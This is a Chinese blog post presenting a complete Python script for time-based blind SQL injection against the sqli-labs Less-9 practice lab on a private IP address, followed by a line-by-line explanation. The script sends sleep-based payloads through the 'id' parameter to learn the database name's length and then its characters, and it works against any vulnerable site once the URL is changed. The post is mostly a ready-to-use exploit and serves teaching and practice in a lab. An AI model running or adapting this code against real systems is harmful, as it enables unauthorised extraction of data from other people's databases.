简单的延时注入EXP

import requests
import string

def timeout(url) :
    try:
     res=requests.get(url = url,timeout = 3)
    except:
     return "timeout!"
    else:
     return res.text


url="http://192.168.177.167/sqli-labs-master/Less-9/"

c_set = string.printable.strip()

db_len = ""
db_name = ""

for i in range(50) :
    paylaod = f"?id=2' and if(length((select database()))={i},sleep(5),0) --+"
    full_url= url + paylaod
    print(full_url)
    if 'timeout' in timeout(full_url) :
       db_len = i
       print(f"[RESULT] The length dbname: {db_len}")
       break

for i in range(1, db_len + 1):
      for c in c_set:
         paylaod = f"?id=2' and if (ascii(substr((select database()),{i},1))={ord(c)},sleep(5),0)--+"
         full_url=url +paylaod
         if 'timeout' in timeout(full_url):
            db_name += c
            print(f"[RESULT] The length dbname: {db_name}")
            break

代码详解:

这段代码是一个简单的基于时间盲注的SQL注入漏洞检测脚本。下面我会逐步解释每个部分的功能和作用。

首先,导入了requests和string库。requests用于发送HTTP请求,string用于获取可打印字符集合。

然后,定义了一个名为timeout的函数,用于检测请求是否超时。函数的参数是一个URL。

在timeout函数中,尝试发送一个GET请求到指定的URL,并设置超时时间为3秒。如果请求成功,返回响应的文本内容;否则,返回"timeout!"字符串。

接下来,定义了一个变量url,用于存储目标网站的URL。

然后,使用string.printable.strip()获取可打印字符的集合,并赋值给变量c_set。

接下来,定义了两个空字符串变量db_len和db_name,分别用于存储数据库名称的长度和名称。

然后,使用一个循环从1到50,构造了一个payload参数,通过注入SQL语句来判断数据库名称的长度。这个SQL语句使用了if语句和sleep函数,当数据库名称的长度等于当前循环变量i时,会造成延时5秒。构造完整的URL后,调用timeout函数获取响应。

如果timeout函数返回的响应包含"timeout"字符串,说明请求超时,即数据库名称的长度等于当前循环变量i,将db_len赋值为i,并打印结果。然后跳出循环。

接下来,使用两个嵌套循环,分别遍历数据库名称的每个字符和可打印字符集合c_set。

在内层循环中,构造了一个payload参数,通过注入SQL语句来判断数据库名称的每个字符的ASCII值是否等于当前遍历的字符的ASCII值。该SQL语句使用了if语句和sleep函数,当数据库名称的第i个字符的ASCII值等于当前遍历的字符的ASCII值时,会造成延时5秒。

构造完整的URL后,调用timeout函数获取响应。如果timeout函数返回的响应包含"timeout"字符串,说明请求超时,即数据库名称的第i个字符的ASCII值等于当前遍历的字符的ASCII值,将该字符添加到db_name中,并打印结果。然后跳出内层循环,继续外层循环。

通过这样的方式,逐个字符地检测数据库名称的每个字符,并逐渐构建出完整的数据库名称。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值